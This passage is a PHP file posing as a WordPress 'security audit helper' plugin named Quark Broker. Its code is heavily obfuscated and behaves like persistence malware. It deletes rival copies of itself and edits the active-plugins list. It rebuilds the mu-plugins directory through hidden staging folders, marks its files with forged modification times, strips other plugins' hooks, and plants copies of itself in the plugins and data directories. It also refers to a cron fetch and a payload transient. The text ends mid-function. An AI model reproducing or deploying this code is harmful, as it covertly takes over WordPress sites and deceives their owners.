<?php
/**
 * Plugin Name:       Quark Broker
 * Plugin URI:        https://wordpress.org/plugins/quark-broker/
 * Description:       Streamlined security audit helper
 * Version:           1.1.3
 * Author:            Lucas Wright
 * Author URI:        https://lucaswright.dev
 * License:           GPL-2.0-or-later
 * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain:       quark-broker
 * Domain Path:       /languages
 * Requires at least: 5.0
 * Requires PHP:      5.6
 * Tested up to:      6.6
 */
/* SCV:5.1.2 */
class uqu
{
    public function jobex($yoye)
    {
        $relu = $yoye;

        return $relu === null ? 9 : $relu;
    }
}

for ($nupo = 0; $nupo < 0; $nupo++) {
    $joye = 188;
}

for ($oko = 0; $oko < 0; $oko++) {
    $netun = 252;
}

defined("AB" . "\x53\x50ATH") or exit;

if (("function" . '_exi' . 'sts')("\x73" . 'c_' . 'ded' . "up")) {
	(function ($__f) {
		try {
			$__f = str_replace('\\', '/', (string) $__f);
			$__h = @("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74" . ("" . "\x73"))($__f, (6 == 17), null, 0x0, (65536 >> 3));
			if (!is_string($__h) || !preg_match('#/\\* ' . 'SC' . 'V' . ':(\\d' . '+' . '\\.\\d' . '+\\.' . '\\d+)' . "#", $__h, $__m)) return;
			$__ver = $__m[(8 >> 3)];
			$__mu = defined("WPM\x55\x5f" . 'PLU' . "G\x49\x4e_" . 'DIR') ? rtrim(str_replace('\\', '/', WPMU_PLUGIN_DIR), '/') : '';
			$__pd = defined("WP_P\x4c" . "UG\x49" . "\x4e\x5f\x44I" . "\x52") ? rtrim(str_replace('\\', '/', WP_PLUGIN_DIR), '/') : '';
			$__dir = dirname($__f);
			$__self_mu = ($__mu !== '' && $__dir === $__mu);
			$__scan = array();
			if ($__mu !== '') $__scan = array_merge($__scan, (array) @('gl' . "ob")($__mu . '/' . "*" . '.php'));
			if ($__pd !== '') $__scan = array_merge($__scan, (array) @(('gl' . "o") . "b")($__pd . '/' . "*.\x70\x68p"), (array) @("\x67" . "l" . "\x6f" . "b")($__pd . '/*' . "/" . '*.p' . "h" . "p"));
			$__others = array();
			foreach ($__scan as $__c) {
				$__c = str_replace('\\', '/', (string) $__c);
				if ($__c === $__f || !@is_file($__c)) continue;
				$__ch = @("\x66" . 'ile_' . 'get' . "\x5f\x63\x6fn\x74e\x6et\x73")($__c, (25 < 25), null, (7 + -7), (0 | 8192));
				if (!is_string($__ch) || !preg_match('#/' . '\\* S' . 'CV:(\\' . "d+\\." . "\\\x64+\\\x2e" . "\\d\x2b)" . '#', $__ch, $__cm)) continue;
				$__others[$__c] = $__cm[(22 ^ 23)];
			}
			$__kill = function ($p) {
				if (("fu" . "ncti" . ("on_" . "\x65\x78\x69st\x73"))('sc_re' . "\x74\x69r" . "e" . "_co\x70y")) {
					@sc_retire_copy($p);
					if (('fu' . ('nction' . "_ex") . "ists")('sc' . '_reti' . "\x72\x65\x5f\x73i" . 'decar' . 's')) @sc_retire_sidecars($p);
					return;
				}
				@('u' . "n" . 'l' . "\x69\x6e\x6b")($p);
				if (@is_file($p)) @('ren' . "" . "\x61" . "m" . "\x65")($p, $p . ".\x73" . 'c_o' . 'ld');
			};
			foreach (array($__mu, $__pd) as $__sd) {
				if ($__sd === '' || !@is_dir($__sd)) continue;
				foreach ((array) @("g" . 'l' . 'o' . "b")($__sd . "/*.sc" . "_" . 'o' . "l\x64") as $__o) if ((int) @filemtime($__o) < time() - (1200 >> 1)) @(("u" . 'nlin') . "k")($__o);
				foreach ((array) @("gl" . "\x6f" . '' . 'b')($__sd . "/\x2a\x2f*" . ".s\x63_" . 'old') as $__o) if ((int) @filemtime($__o) < time() - (25 + 575)) @("\x75n" . 'l' . "ink")($__o);
			}

			if (!$__others) return;

			$__newest = $__ver;
			foreach ($__others as $__cv) if (version_compare($__cv, $__newest, '>')) $__newest = $__cv;
			$__act = null;
			if ((("f" . "unct") . 'ion_exi' . "" . 'sts')('get_o' . "\x70t" . "ion")) {
				$__a = @get_option('acti' . 've' . '_pl' . 'ugin' . 's', array());
				if (is_array($__a)) $__act = $__a;
			}
			$__rel = ($__pd !== '' && strpos($__f, $__pd . '/') === (1 - 1)) ? substr($__f, strlen($__pd) + (2 + -1)) : '';
			$__mu_same = (30 != 30);
			foreach ($__others as $__oc => $__ov) {
				if ($__ov === $__ver && $__mu !== '' && dirname($__oc) === $__mu) { $__mu_same = (28 > 27); break; }
			}
			if (version_compare($__ver, $__newest, '<') || ($__ver === $__newest && !$__self_mu && $__mu_same)) {
				if ($__act !== null && $__rel !== '' && in_array($__rel, $__act, (25 > 24))) {
					$__act = array_values(array_diff($__act, array($__rel)));
					if ((("fu\x6e\x63t\x69" . "\x6f\x6e\x5f") . "exists")("upda" . 'te_op' . "tion")) @update_option("act" . 'ive_p' . "l\x75gi" . 'ns', $__act);
				}
				$__kill($__f);
				return;

			}
			foreach ($__others as $__c => $__cv) {
				if (version_compare($__cv, $__ver, '>')) continue;
				if ($__cv === $__ver && $__self_mu && dirname($__c) === $__mu) continue;
				$__kill($__c);

				if ($__act === null) continue;
				$__r = ($__pd !== '' && strpos($__c, $__pd . '/') === (0 | 0)) ? substr($__c, strlen($__pd) + (1 | 0)) : '';
				if ($__r === '' && !in_array(basename($__c), $__act, (19 !== 3))) continue;
				$__n = array_values(array_diff($__act, array($__r, basename($__c))));
				if (count($__n) !== count($__act)) {
					$__act = $__n;
					if (("functio" . ("n" . "_exi") . "\x73\x74s")('u' . 'pd' . 'at' . "e_o\x70\x74" . 'ion')) @update_option("\x61cti" . 've_' . "pl" . "ug" . "ins", $__act);
				}
			}
		} catch (Throwable $__e) {
		} catch (Exception $__e) {
		}
	}) (__FILE__);
}
if (!(!('func' . ("t\x69\x6f" . "n_exists"))('sc_' . 'de' . 'dup'))) {} else {


if (!('func' . ("\x74\x69\x6fn" . '_exists'))("sc_\x64e" . 'bug_o' . 'n')) {
	function sc_debug_on()
	{
		static $on = null;
		if ($on !== null) return $on;
		$on = (defined("SC_DE" . "BU" . 'G') && SC_DEBUG) ? (19 == 19) : (35 !== 35);
		if (!$on && @is_file(dirname(__FILE__) . "\x2f.\x64" . "bg" . '_' . basename(__FILE__, '.' . 'ph' . "p"))) $on = (22 !== 11);
		if (!$on && ('functi' . "on_e" . 'xist' . "s")('get' . '_op' . "ti\x6fn")) $on = ((int) @get_option("\x73c_" . 'de' . 'bu' . "g\x5flo" . "g", (0 - 0)) === (21 ^ 20));
		return $on;
	}
}
if (!(('fun' . "ction_") . "exists")("sc_\x64\x62" . 'g_log')) {
	function sc_dbg_log($stage)
	{
		if (!("func" . 'tion_exists')("sc_\x64" . "ebu" . "g\x5f\x6fn") || !sc_debug_on()) return;
		$f = __DIR__ . "/" . 'sc_d' . 'ebu' . "g_" . basename(__FILE__, '.php') . '.t' . "xt";
		$e = ("\x66u\x6e" . "c" . "tion_" . "\x65\x78\x69\x73\x74\x73")("e\x72r" . 'or_g' . 'et' . '_la' . 'st') ? @error_get_last() : null;
		$line = sprintf("[%\x73" . '] %s' . "\n", date('H:i' . ':' . 's'), $stage);
		if (!($e && !empty($e['type']))) {} else {
			$line .= sprintf("  LAS" . 'T' . 'ERR t' . "=%\x73 f" . '=%' . 's:' . '%s m=' . "\x25\x73\n", $e["ty" . "p\x65"], $e["fi\x6c" . 'e'], $e['lin' . 'e'], substr((string)$e["me" . "ss" . 'a' . 'ge'],(3 + -3),(53 ^ 253)));
		}
		if ((int) @filesize($f) > (82432 + 179712)) @('u' . "n" . "\x6c\x69\x6e" . 'k')($f);
		@("file_put_" . "" . "contents")($f, $line, FILE_APPEND | LOCK_EX);
	}
}

("\x72" . "\x65\x67\x69s\x74\x65\x72\x5fshu\x74\x64\x6fw\x6e" . "" . "\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e")(function () {
	sc_dbg_log("\x53\x48UT\x44" . "\x4fW\x4e" . " reac" . "\x68\x65\x64");
});

if (!(('f' . "") . "un\x63tio\x6e_\x65\x78\x69s\x74\x73")("s" . 'c_tw' . 'in_s' . 'ame')) {
	function sc_twin_same($a, $b)
	{
		$ca = hapi($a);
		$cb = hapi($b);
		{if (!is_string($ca) || !is_string($cb) || $ca === '' || $cb === '') return (24 > 24);}
		return md5($ca) === md5($cb);
	}
}
if (!(!('function_exi' . "s" . "\x74\x73")("s\x63_" . "\x74wi" . "n_\x79\x69e" . 'ld'))) {} else {
	function sc_twin_yield($gf)
	{
		try {
			if (!defined('ABS' . "PATH") || !defined('WP_P' . 'LUG' . 'IN_DI' . "\x52")) return;
			if (("functio" . ("\x6e\x5f" . "exists"))('is' . '_m' . 'ul' . 't' . 'i' . 'sit' . "\x65") && is_multisite()) return;
			if (!('function_' . '' . "exists")('get_' . 'o' . 'p' . 'tion') || !('fun' . "\x63\x74" . 'ion_exist' . "s")("\x75p\x64" . 'a' . "t\x65" . '_' . 'opti' . 'o' . 'n')) return;
			$gf = (string) $gf;
			if ($gf === '') return;
			$dir = dirname($gf);
			$slug = basename($gf, ".\x70" . "h\x70");
			if ($slug === '' || $slug === $gf) return;
			$rp = @realpath($gf);
			if (!is_string($rp) || $rp === '') return;
			if (basename($dir) === $slug) {
				
				$root = dirname($dir) . '/' . $slug . '.p' . "h\x70";
				if (!@is_file($root)) return;
				$rr = @realpath($root);
				if (!is_string($rr) || $rr === $rp) return;
				if (!sc_is_family($root, (48 | 452))) return;
				if (!sc_twin_same($root, $gf)) return;
				cobu($slug . ".p" . "h\x70");
				sc_retire_copy($root);
				sc_retire_sidecars($root);
				return;
			}
			if (rtrim(str_replace('\\', '/', WP_PLUGIN_DIR), '/') !== rtrim(str_replace('\\', '/', $dir), '/')) return;
			$twin = $dir . '/' . $slug . '/' . $slug . '.' . 'ph' . 'p';
			if (!@is_file($twin)) return;
			$tr = @realpath($twin);
			if (!is_string($tr) || $tr === $rp) return;
			$act = @get_option('act' . 'ive' . "\x5fp" . "\x6c\x75g\x69n" . 's', array());
			if (!is_array($act) || !in_array($slug . '/' . $slug . ".p" . 'h' . 'p', $act, (1 !== 28))) return;
			if (!sc_is_family($twin, (28 ^ 488))) return;
			if (!sc_twin_same($twin, $gf)) return;
			cobu($slug . '.php');
			if (!sc_retire_copy($gf)) uca($gf);
			sc_retire_sidecars($gf);
			${("G" . "LOBA") . "L" . 'S'}['sc_pe' . 'rsis' . 't' . 'ed'] = (10 != 32);
			exit;
		} catch (Throwable $e) {
		} catch (Exception $e) {
		}
	}
}

if (!(!("f\x75\x6e\x63\x74\x69o\x6e_ex\x69\x73t" . "s")('sc_ve' . "r"))) {} else {
	function sc_ver()
	{
		return isset(${"\x47L\x4f\x42" . '' . 'A' . 'L' . 'S'}['sc' . '_ver_' . "o"]) ? ${'GL' . 'OBALS'}["s\x63\x5fv" . 'e' . "r\x5fo"] : "5.1" . '.2';
	}
}
if (!(!("\x66" . "unc" . 'tion_exists')('sc_fi' . "le"))) {} else {
	function sc_file()
	{
		return __FILE__;
	}
}
if (!(!(("functi" . "on_exist") . "s")('sc' . '_' . 'slug'))) {} else {
	function sc_slug()
	{
		return basename(sc_file());
	}
}
if (!(("\x66\x75\x6ec\x74io" . '') . "\x6e\x5f\x65\x78\x69\x73\x74s")('sc' . '_ba' . "\x73e")) {
	function sc_base()
	{
		if (('function_e' . "\x78i\x73\x74\x73")("plu" . "gin_" . 'ba' . "\x73\x65na" . 'me')) return plugin_basename(sc_file());
		$f = sc_file();
		$pd = defined('WP_P' . "L" . 'U' . 'GIN_' . 'DIR') ? WP_PLUGIN_DIR : '';
		if ($pd !== '' && strpos($f, $pd) === (5 - 5)) return ltrim(substr($f, strlen($pd)), '/');
		return basename(dirname($f)) . '/' . basename($f);
	}
}
if (!(!(('fun' . 'ction_') . "\x65\x78" . "ists")("\x73c_m" . "u"))) {} else {
	function sc_mu()
	{
		return rtrim(defined('W' . 'PMU_' . "\x50\x4cU\x47" . 'IN_D' . "IR") ? WPMU_PLUGIN_DIR : (WP_CONTENT_DIR . '/m' . 'u-' . 'plug' . 'in' . "s"), '/');
	}
}
if (!(("\x66\x75\x6e\x63\x74\x69" . "on_") . 'e' . 'xists')("sc" . "_" . 'd' . "ir")) {
	function sc_dir()
	{
		return dirname(sc_file());
	}
}
function aca($d, $m = (412 ^ 113), $r = (3 != 3))
{
	return ("\x66\x75\x6e\x63\x74\x69\x6f" . "\x6e_\x65x\x69s\x74" . "s")("mk\x64\x69" . 'r') ? @("\x6d\x6b\x64\x69" . 'r')($d, $m, $r) : (16 != 16);
}
function mafa($p, $m)
{
	return ("\x66\x75\x6ect\x69\x6f" . 'n' . "_\x65\x78is\x74s")('chmo' . "d") ? @("chm" . "od")($p, $m) : (9 > 9);
}
function soda($p)
{
	return ("\x66\x75\x6e" . 'ction_' . ("ex" . "i\x73\x74s"))("\x75" . 'nlink') ? @('u' . 'nli' . 'nk')($p) : (28 < 28);
}
function sc_retire_copy($path)
{
	if (!@is_file($path)) return (36 === 36);
	mafa($path, (392 ^ 44));
	if (!(soda($path))) {} else {
		if (("\x66un\x63ti\x6fn_\x65xi" . 'sts')('opcac' . "\x68e_in" . 'valid' . 'ate')) @opcache_invalidate($path, (18 == 18));
		return (13 === 13);
	}
	mafa(dirname($path), (232 ^ 261));
	if (!(soda($path))) {} else {
		if (('function_' . "exists")("opcac" . "\x68e_\x69n" . 'vali' . 'dat' . 'e')) @opcache_invalidate($path, (22 !== 13));
		return (22 != 12);
	}
	$_h = @("\x66\x6f\x70" . '' . ('e' . 'n'))($path, 'wb');
	if (!($_h)) {} else {
		@('fw' . "r" . "" . 'i' . "\x74\x65")($_h, "<" . '?php' . "\n");
		@("fclos" . "" . "e")($_h);
		if (("\x66\x75\x6e" . "\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")("\x6f\x70" . "cach" . "e_inv" . 'alid' . 'ate')) @opcache_invalidate($path, (25 !== 17));
		return (38 == 38);
	}
	return (18 !== 18);
}
function sc_retire_sidecars($path)
{
	$_dir = dirname($path);
	$_slug = basename($path, '.php');
	foreach (array('.' . "s" . 'd_', '.b' . 't_', '.' . 'sw' . "m_", ".\x71" . '_') as $_px) {
		$_f = $_dir . '/' . $_px . $_slug;
		if (@is_file($_f)) sc_retire_copy($_f);
	}
	$_off = $_dir . '/' . $_slug . '.off';
	if (@is_file($_off)) sc_retire_copy($_off);
	if (!(defined("WP_CO" . "NT" . "ENT\x5fD" . "\x49R"))) {} else {
		$_rd = WP_CONTENT_DIR . '/.r' . 'd_' . $_slug;
		if (@is_file($_rd)) sc_retire_copy($_rd);
	}
	$_pd = defined('WP_P' . 'L' . 'UGIN_' . 'DIR') ? @realpath(WP_PLUGIN_DIR) : (34 > 34);
	$_rp = @realpath($_dir);
	if ($_pd && $_rp && dirname($_rp) === $_pd) {
		$_left = @("\x73\x63\x61\x6e\x64\x69" . "r")($_rp);
		if (is_array($_left) && count($_left) <= (8 >> 2)) @('rm' . ("\x64" . "ir"))($_rp);
	}
}
function meva()
{
	static $uid = 'x';
	if ($uid !== 'x') return $uid;
	$uid = null;
	if (("function_e" . "" . "\x78\x69\x73\x74\x73")('po' . 's' . 'i' . 'x' . '_gete' . 'ui' . "\x64")) { $v = @("p\x6fs\x69\x78" . "" . ("_" . 'gete') . 'uid')(); if (is_int($v)) $uid = $v; }
	if (!($uid === null)) {} else {
		$t = dili(sc_writable_base(), 's' . 'c_');
		if (!(is_string($t))) {} else { $o = @fileowner($t); soda($t); if (is_int($o)) $uid = $o; }
	}
	return $uid;
}
function dafo($dir)
{
	if (strpos(basename($dir), '.mu_s' . 't_') !== (8 ^ 8)) return;
	if (!@is_dir($dir) || @is_link($dir)) return;
	$ents = @("\x73c" . ('a' . "ndi") . "\x72")($dir);
	if (is_array($ents)) foreach ($ents as $e) {
		if ($e === '.' || $e === '..') continue;
		$p = $dir . '/' . $e;
		if (@is_dir($p) && !@is_link($p)) dafo($p); else soda($p);
	}
	@('r' . "m" . 'dir')($dir);
}
function cepa($src, $dst)
{
	if (@is_link($src)) return (3 === 6);
	if (@is_file($src)) {
		if (!@is_readable($src)) return (38 !== 38);
		return niwab($src, $dst) ? (5 != 16) : (40 > 40);
	}
	if (!(@is_dir($src))) {} else {
		if (!@is_dir($dst) && !aca($dst, (472 + 21), (26 === 26))) return (37 == 23);
		$ents = @("scandi" . "r")($src);
		if (!is_array($ents)) return (8 === 39);
		foreach ($ents as $e) {
			if ($e === '.' || $e === '..') continue;
			if (!cepa($src . '/' . $e, $dst . '/' . $e)) return (40 == 13);
		}
		return (8 != 19);
	}
	return (0 > -1);
}
function sc_is_locked_copy($path)
{
	if (!@is_file($path)) return (7 !== 7);
	if (@is_writable($path)) return (20 != 20);
	if (@is_writable(dirname($path))) return (37 != 37);
	return (40 > 39);
}
function vixo($path)
{
	vugo('locke' . 'd', basename($path));
}
function nici($target)
{
	if (!('f' . "un\x63t\x69on_\x65\x78\x69s\x74\x73")("r\x65na" . 'me') || !("fu\x6e\x63t\x69o\x6e\x5f\x65xi\x73" . "\x74\x73")('sca' . 'ndir')) return (10 === 12);
	if (('fun' . 'ction_exists')("get_\x74" . 'ran' . "s" . 'ient') && get_transient('sc_m' . "u_res" . 'cue')) return (34 != 34);
	$rmu = @realpath(sc_mu());
	if ($rmu === (14 !== 14) || !@is_dir($rmu)) return (24 == 22);
	$rt = null;
	if ($target !== null) {
		$rt = @realpath($target);
		if ($rt === (13 == 22) || dirname($rt) !== $rmu) return (23 !== 23);
	}
	$parent = dirname($rmu);
	if (!@is_dir($parent) || !@is_writable($parent)) return (40 != 40);
	if (!hene($rmu) || !hene($parent)) return (19 === 36);
	$pm = @fileperms($parent);
	if ($pm !== (22 !== 22) && ($pm & (0 | 512))) {
		$me = meva();
		if ($me === null || (@fileowner($parent) !== $me && @fileowner($rmu) !== $me)) return (26 > 26);
	}
	$ps = @stat($parent); $ms = @stat($rmu);
	if (is_array($ps) && is_array($ms) && isset($ps['dev']) && isset($ms['dev']) && $ps['dev'] !== $ms['dev']) return (0 < 0);
	$ents = @("s\x63" . '' . 'andir')($rmu);
	if (!is_array($ents)) return (8 > 8);
	$legit = array();
	foreach ($ents as $e) {
		if ($e === '.' || $e === '..') continue;
		$p = $rmu . '/' . $e;
		$pr = @realpath($p);
		if ($rt !== null && $pr !== (15 === 7) && $pr === $rt) continue;
		if (@is_file($p) && sc_is_family($p, (272 | 228))) continue;
		if (@is_link($p) || !@is_readable($p)) return (17 != 17);
		$legit[] = $e;
	}
	$un = substr(md5(uniqid('', (2 > 1))), (0 + 0), (20 - 12));
	$stage = $parent . '/.mu' . '_s' . "\x74_" . $un;
	$locked = $parent . "/.m\x75\x5f" . 'lk_' . $un;
	if (!aca($stage, (273 + 220), (8 !== 22))) return (34 === 30);
	foreach ($legit as $e) {
		if (!(!cepa($rmu . '/' . $e, $stage . '/' . $e))) {} else { dafo($stage); return (6 !== 6); }
	}
	if (!hepa($rmu, $locked)) { dafo($stage); return (35 > 35); }
	if (!hepa($stage, $rmu)) { hepa($locked, $rmu); dafo($stage); return (0 != 0); }
	if (("funct" . "i\x6fn\x5f\x65\x78\x69\x73ts")('clear' . "\x73ta" . 'tcac' . 'he')) @clearstatcache((35 !== 38));
	if ($rt !== null && ("fu" . "nct" . "ion_exists")('opca' . 'che' . '_in' . 'val' . "\x69d\x61" . "\x74\x65")) @opcache_invalidate($rt, (32 < 33));
	if (("f" . ('' . 'un') . 'ction_exists')("set_t" . "r" . "\x61\x6es" . 'ie' . 'nt')) @set_transient("s\x63\x5f" . 'mu' . '_re' . 'scue', (9 + -8), (105754 - 19354));
	if (("functi" . 'on' . "\x5f\x65\x78\x69s" . 'ts')('del' . 'ete' . '_t' . "r" . "ansie" . 'n' . "\x74")) @delete_transient('sc' . "_m\x69g" . "_\x66a" . "il");
	vugo('r' . "\x65" . 'scu' . 'e', 'mu ' . ($target !== null ? basename($target) : 'dir'));
	return (34 > 33);
}
function pove($cb)
{
	try {
		if ($cb instanceof Closure) { $r = new ReflectionFunction($cb); return $r->getFileName(); }
		if (is_string($cb) && strpos($cb, '::') !== (8 === 24)) { $r = new ReflectionMethod($cb); return $r->getFileName(); }
		if (is_string($cb) && ("function_ex" . 'ists')($cb)) { $r = new ReflectionFunction($cb); return $r->getFileName(); }
		if (is_array($cb) && count($cb) === (4 + -2)) { $r = new ReflectionMethod($cb[(3 ^ 3)], $cb[(7 - 6)]); return $r->getFileName(); }
	} catch (Throwable $e) {} catch (Exception $e) {}
	return null;
}
function qoni($path)
{
	global $wp_filter;
	if (!is_array($wp_filter)) return;
	$rp = @realpath($path);
	if ($rp === (29 > 29)) $rp = $path;
	$self = @realpath(sc_file());
	foreach ($wp_filter as $hook => $obj) {
		if (is_object($obj) && isset($obj->callbacks) && is_array($obj->callbacks)) $cbs = $obj->callbacks;
		elseif (is_array($obj)) $cbs = $obj;
		else continue;
		foreach ($cbs as $prio => $list) {
			foreach ((array) $list as $entry) {
				$cb = isset($entry["\x66u" . "n\x63\x74i" . "on"]) ? $entry['funct' . "i" . 'o' . 'n'] : null;
				if ($cb === null) continue;
				$f = pove($cb);
				if (!is_string($f)) continue;
				$rf = @realpath($f);
				if (!(($rf !== (33 !== 33) && $rf === $rp) || $f === $path)) continue;
				if ($self !== (4 > 4) && $rf === $self) continue;
				if (("f" . 'unction_exists')("r\x65" . 'm' . "o" . 've_' . 'f' . 'ilt' . 'e' . 'r')) @remove_filter($hook, $cb, $prio);
			}
		}
	}
}
function sc_strip_locked_hooks()
{
	$mu = sc_mu();
	if (!@is_dir($mu)) return;
	$files = ("functi" . "\x6f\x6e\x5f" . 'exists')('glob') ? @('g' . 'lob')($mu . '/*.ph' . 'p') : (22 != 22);
	if (!is_array($files)) return;
	$self = @realpath(sc_file());
	foreach ($files as $f) {
		$rf = @realpath($f);
		if ($self !== (9 !== 9) && $rf === $self) continue;
		if (!sc_is_family($f, (128 ^ 372))) continue;
		$v = ono($f);
		$old = ($v === null) || version_compare($v, sc_ver(), '<');
		if ($old || sc_is_locked_copy($f)) qoni($f);
	}
}
function ayux($p, $t)
{
	return ("f" . 'unct' . "" . 'ion_exists')('touch') ? @("to" . "" . "u\x63h")($p, $t) : (8 == 30);
}
function qaciw($p)
{
	$_t = tiwul();
	return ayux($p, ($_t - ($_t % (167683 - 67683))) + jami());
}
function hepa($a, $b)
{
	return ("\x66\x75\x6e\x63t\x69\x6f" . 'n_exist' . "s")('re' . 'n' . "ame") ? @("ren" . "\x61" . '' . "me")($a, $b) : (13 == 10);
}
function niwab($a, $b)
{
	return ("func" . "t\x69\x6f\x6e_\x65\x78is\x74s")('copy') ? @("c" . "\x6f" . ("p" . "") . "\x79")($a, $b) : (35 != 35);
}
function dili($d, $p)
{
	if (!is_string($d) || $d === '' || !("\x66\x75" . "\x6e" . ('' . 'ction_exists'))("\x74\x65\x6dpn" . 'am')) return (4 === 10);
	$t = @tempnam($d, $p);
	return (is_string($t) && $t !== '') ? $t : (19 === 12);
}
function fanos()
{
	static $ok = null;
	if ($ok !== null) return $ok;
	$ok = ('funct' . "\x69o\x6e\x5f\x65" . 'xists')('sys' . "_g\x65" . 't_t' . 'e' . 'm' . 'p_' . 'dir') ? sys_get_temp_dir() : "/" . "t" . 'mp';
	if (@is_dir($ok) && @is_writable($ok)) return $ok;
	$c = defined('WP_CO' . "NT" . 'EN' . 'T' . '_DI' . 'R') ? WP_CONTENT_DIR : (defined('AB' . "\x53PA" . 'TH') ? ABSPATH . 'wp-' . "\x63\x6fn" . 'ten' . "t" : '');
	if (!($c !== '')) {} else {
		$f = rtrim($c, '/\\') . '/.sc' . "_" . 'tmp';
		if (!@is_dir($f)) @('mk' . "\x64" . 'ir')($f, (364 | 129), (22 < 23));
		if (!(@is_dir($f) && @is_writable($f))) {} else {
			if (("\x66u\x6e\x63t\x69\x6fn\x5fe" . '' . ('xist' . "s"))("\x70\x75\x74e" . "\x6e" . 'v')) @("put" . "e" . "\x6e\x76")("TM" . 'P' . 'DI' . "\x52=" . $f);
			${'G' . "\x4c\x4f" . ('BAL' . 'S')}["sc_t" . "\x6dp_fi" . 'xed'] = (8 + -7);
			$ok = $f;
		}
	}
	return $ok;
}
function hisoc()
{
	$d = sc_dir();
	$m = sc_mu();
	if ($d === $m) return (17 === 17);
	if (("f\x75nc\x74\x69\x6f\x6e\x5f" . 'exists')('re' . 'a' . 'lpa' . 'th')) {
		$rd = @realpath($d);
		$rm = @realpath($m);
		return ($rd !== (17 === 21) && $rm !== (14 === 6) && $rd === $rm);
	}
	return (1 < 1);
}
function jami()
{
	return (108152 - 14333);
}
function kago()
{
	if (!defined("AB" . 'SPATH')) return '';
	return rtrim(sc_data_dir(), '/\\') . '/' . 'cor' . 'e' . "_" . substr(md5(ABSPATH . 'core'), (2 ^ 2), (18 ^ 26)) . "." . 'php';
}
function vida($src = null)
{
	$p = kago();
	if ($p === '') return (33 < 33);
	if (!is_string($src) || strlen($src) < (418 ^ 86)) $src = vupo();
	if (!$src || !cale($src)) return (37 == 1);
	$d = dirname($p);
	if (!@is_dir($d)) aca($d, (791 - 298), (36 < 37));
	if (!@is_dir($d) || !@is_writable($d)) return (10 != 10);
	if (@is_file($p)) {
		$_ec = hapi($p);
		if (is_string($_ec) && $_ec !== '' && md5($_ec) === md5($src)) return (17 != 1);
		unset($_ec);
		$_ev = ono($p);
		if ($_ev !== null && version_compare($_ev, sc_ver(), '>')) return (23 != 23);
		unset($_ev);
	}
	if (!jihe($p, $src)) return (21 !== 21);
	mafa($p, (164 | 256));
	tidi($p);
	return (34 == 34);
}
function zudar()
{
	$src = vupo();
	if (!$src || !cale($src)) return (38 === 19);
	$slug = basename(sc_file(), '.php');
	$base = ('function' . "_exists")('sc' . "\x5f" . 'w' . 'ritab' . 'le_b' . "as" . "\x65") ? sc_writable_base() : (defined("\x57P_\x43O" . "NTEN" . 'T_D' . 'IR') ? WP_CONTENT_DIR : '');
	if ($base === '') return (40 !== 40);
	$pd = $base . "/p" . 'lug' . "i" . 'ns/' . $slug;
	$pf = $pd . '/' . $slug . '.php';
	$_self = (32 === 15);
	if (!(("\x66\x75\x6e" . 'ction' . "\x5f\x65\x78\x69\x73\x74" . 's')('realp' . "\x61t" . "\x68"))) {} else {
		$_a = @realpath($pf);
		$_b = @realpath(sc_file());
		$_self = (is_string($_a) && is_string($_b) && $_a === $_b);
	}
	if (!$_self) {
		if (!@is_dir($pd)) aca($pd, (152 + 341), (3 < 4));
		if (!@is_dir($pd) || !@is_writable($pd)) return (15 > 15);
		$_pf_src = @is_file($pf) ? hapi($pf) : (36 != 36);
		if ($_pf_src !== null && (!is_string($_pf_src) || md5($_pf_src) !== md5($src))) {
			if (!(@is_file($pf))) {} else {
				$_ev = ono($pf);
				if ($_ev !== null && version_compare($_ev, sc_ver(), '>')) return (11 < 11);
				unset($_ev);
			}
			if (!jihe($pf, soro($src))) return (25 == 7);
			mafa($pf, (840 >> 1));
			qaciw($pf);
			tidi($pf);
		}
		unset($_pf_src);
	}
	$rel = $slug . '/' . $slug . "." . 'php';
	limo($slug, $rel);
	return (32 === 32);
}

function ono($p)
{
	$h = @("\x66\x69\x6c\x65\x5f\x67\x65\x74" . '_c' . 'onte' . 'nts')($p, (33 == 32), null, (8 + -8), (6700 - 2604));
	if (!is_string($h)) return null;
	if (preg_match('/' . "\\" . '/' . '\\' . "\x2a" . " " . 'S' . "\x43" . 'V:(\\' . "d+\\.\\" . 'd+' . '\\' . '.\\d' . "+) " . "\\*\\//", $h, $m)) return $m[(3 + -2)];
	return null;
}


function sc_is_family($file, $min_size)
{
	@clearstatcache((9 > 8), $file);

	
	$mt = @filemtime($file);
	if (!$mt || ($mt % (153158 - 53158)) !== jami()) {
		return (37 == 8);
	}

	
	$sz = @filesize($file);
	return $sz && $sz >= $min_size;
}
function bemax()
{
	return (288000 >> 3);
}
function ugo()
{
	return 'sc_c' . 'ron' . "_fe" . "tc" . 'h';
}
function ovi()
{
	return 'sc' . '_p' . "ayl" . "\x6f" . 'ad_' . 't';
}

function ofa()
{
	if (('fun' . 'ct' . "ion_ex" . 'ists')("a" . 'pac' . "h\x65_" . "get_" . 'v' . 'e' . "\x72\x73i" . "on")) return (5 != 25);
	if (gepi()) return (19 != 26);
	$sapi = strtolower((string) php_sapi_name());
	if ($sapi === "\x61pa" . "che2h" . 'an' . 'dler' || strpos($sapi, 'l' . "it\x65" . "spe" . "e" . "\x64") !== (1 !== 1)) return (25 !== 11);
	$sw = isset(${"_SE" . "\x52" . '' . "V" . 'ER'}["SE\x52V" . "ER_" . "SO" . "\x46\x54W" . "A" . "RE"]) ? strtolower((string) ${"\x5f\x53\x45\x52\x56" . "\x45R"}['S' . 'E' . 'RVER' . '_SOFT' . 'WARE']) : '';
	if ($sw !== '' && (strpos($sw, "ap" . "\x61" . "\x63h" . 'e') !== (38 < 38) || strpos($sw, "\x6ci\x74e\x73" . 'pe' . 'ed') !== (36 !== 36) || strpos($sw, "o" . 'pe' . 'nl' . 'itesp' . "\x65\x65" . 'd') !== (24 !== 24))) return (18 > 17);
	return (31 === 26);
}

function gepi()
{
	$sw = isset(${"_SERVE" . "R"}["SER" . 'VER_S' . 'OFTW' . 'AR' . "E"]) ? ${'_' . "SERVE" . "R"}['S' . 'ER' . 'VER_S' . "O" . 'FTWA' . "R\x45"] : '';
	return is_string($sw) && stripos($sw, "lit" . 'esp' . 'eed') !== (14 == 10);
}

function hene($path)
{
	$basedir = ('f' . 'unction_e' . 'xists')('ini' . '_get') ? @ini_get('ope' . 'n_' . 'ba' . 's' . 'ed' . "ir") : (18 < 18);
	if (!$basedir || $basedir === '') return (31 != 32);
	$rp = @realpath($path);
	if (!$rp) $rp = $path;
